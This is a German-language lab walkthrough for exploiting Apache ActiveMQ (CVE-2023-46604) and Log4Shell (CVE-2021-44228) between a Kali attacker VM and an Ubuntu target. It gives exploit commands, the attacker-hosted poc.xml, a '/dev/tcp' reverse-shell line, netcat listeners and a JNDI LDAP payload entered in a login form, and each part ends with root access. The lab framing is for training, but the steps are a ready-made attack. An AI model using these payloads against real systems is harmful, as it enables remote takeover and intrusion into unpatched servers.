
Anleitungen zur Ausnutzung der Schwachstellen CVE-2021-44228 und CVE-2023-46604
Dieses Labor führt Sie durch die Ausnutzung der Schwachstellen von CVE-2023-46604
Dieses Labor erfordert die Installation von 2 virtuellen Maschinen. Eine Kali-Linux-Maschine, Version 2023.4, und eine Ubuntu-Maschine, Version 22.04.3 LTS. Sie können diese hier herunterladen:

Auf der Kali-Linux-Maschine:
Git installieren
$sudo apt install git
gedit installieren
$sudo apt install gedit
Auf der Ubuntu-Maschine:
Git installieren
$sudo apt install git
OpenJDK 18 installieren
$sudo apt install openjdk-18-jdk
ActiveMQ-Paket 5.18.2 installieren
$sudo su
$git clone https://github.com/dcm2406/ApacheActiveMQ
$cd ApacheActiveMQ/
$tar -xf apache-activemq-5.18.2-bin.tar.gz
Auf der Ubuntu-Maschine Öffnen Sie ein Terminalfenster und führen Sie den folgenden Befehl aus:
$sudo su
$cd ApacheActiveMQ/apache-activemq-5.18.2/bin/linux-x86-64
$./activemq start
Status des Dienstes überprüfen:
$./activemq status
Wenn der Dienst erfolgreich startet, wird auf dem Terminalbildschirm "ActiveMQ Brocker is running" angezeigt.
Sie können auch http://127.0.0.1:8161 besuchen, um den ActiveMQ-Broker-Manager zu öffnen. Er enthält den Hostnamen, die Version, die ID, die Betriebszeit und einige andere Informationen.
Auf der Kali-Linux-Maschine
Ressourcen für den Exploit-Prozess herunterladen:
$sudo su
$git clone https://github.com/dcm2406/CVE-2023-46604
$cd CVE-2023-46604
$ls
Wie Sie sehen können, haben wir 2 Dateien: exploit.py und poc.xml:
$cd CVE-2023-46604
$python3 -m http.server
Öffnen Sie ein neues Terminalfenster, um die Datei poc.xml über die Datei exploit.py an den Server des Ziels zu senden:
$sudo su
$cd CVE-2023-46604
$python3 exploit.py -i 192.168.132.135 -p 61616 --xml http://192.168.132.130:8000/poc.xml
Nachdem der Befehl ausgeführt wurde, wird die Anwendung Taschenrechner auf der Zielmaschine gestartet. Dies beweist, dass die Schwachstelle erfolgreich ausgenutzt wurde. Anschließend erstellen wir eine Reverse Shell, um die Zielmaschine zu kontrollieren.
Öffnen Sie ein neues Terminalfenster, um auf Reverse-Shell-Verbindungen zu lauschen:
$sudo su
$nc -nlvp 4444
Kehren Sie zum vorherigen Terminal zurück und bearbeiten Sie die Datei poc.xml:
$gedit poc.xml
Ersetzen Sie den Wert gnome-calculator durch bash -i >& /dev/tcp/192.168.132.130/4444 0>&1 und speichern Sie die Datei.
Bösartigen Code erneut senden:
$python3 exploit.py -i 192.168.132.135 -p 61616 --xml http://192.168.132.130:8000/poc.xml
Das Ergebnis dieses Befehls ist, dass wir die Root-Shell auf der Zielmaschine erhalten haben. ROOTED!!!
Dieses Labor erfordert die Installation von 2 virtuellen Maschinen. Eine Kali-Linux-Maschine, Version 2023.4, und eine Ubuntu-Maschine, Version 22.04.3 LTS. Sie können diese hier herunterladen:

Auf der Kali-Linux-Maschine:
Git installieren
$sudo apt install git
gedit installieren
$sudo apt install gedit
Auf der Ubuntu-Maschine:
Git installieren
$sudo apt install git
Docker installieren
$sudo apt install docker.io
Auf der Ubuntu-Maschine
Schritt 1: OpenJDK herunterladen
$sudo su
$wget https://www.cs.ait.ac.th/~marikhu/installers/jdk-8u20-linux-x64.tar.gz
$tar -xf jdk-8u20-linux-x64.tar.gz
Schritt 2: Docker-Datei herunterladen und erstellen
$sudo su
$git clone https://github.com/dcm2406/web-server-cve44228
$docker build -t cve44228
$docker run --network host cve44228
Nach Abschluss der obigen Befehle haben wir eine Website. Zum Surfen können Sie die URL: http://<ubuntu_ip>:8080 verwenden. In diesem Tutorial sieht die Adresse wie folgt aus: http://192.168.132.135:8080
Laden Sie auf der Kali-Linux-Maschine die notwendigen Ressourcen herunter, um die Schwachstelle auszunutzen.
PoC herunterladen
$sudo su
$git clone https://github.com/kozmer/log4j-shell-poc
$pip install -r requirement.txt
OpenJDK herunterladen
$sudo su
$wget https://www.cs.ait.ac.th/~marikhu/installers/jdk-8u20-linux-x64.tar.gz
//move the openjdk file to the directory containing the poc file
$mv jdk-8u20-linux-x64.tar.gz <path to the directory containing the poc file>
$tar -xf jdk-8u20-linux-x64.tar.gz //unzip the file
Öffnen Sie ein neues Terminal, um auf Reverse-Shell-Verbindungen zu lauschen:
$sudo su
$nc -nlvp 9001
LDAP- und HTTP-Dienste mit der PoC-Datei starten
$sudo su
$cd log4j-shell-poc
$python3 poc.py --userip 192.168.132.130 --lport 9001 --webport 8080
Der Befehl gibt Ergebnisse ähnlich den folgenden zurück:
[!] CVE: CVE-2021-44228
Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.132.130:1389/a}
[+] Starting Webserver on port 8080 http://0.0.0.0:8080
Listening on 0.0.0.0:1389
Hier interessiert uns nur der generierte JNDI-Wert. Öffnen Sie einen Webbrowser und geben Sie die Adresse der zuvor erstellten Website ein. Melden Sie sich mit dem JNDI-Wert an. Zu diesem Zeitpunkt empfängt das Netcat-Terminal eine Verbindung. ROOTED!!!
Für Support senden Sie eine E-Mail an [email protected]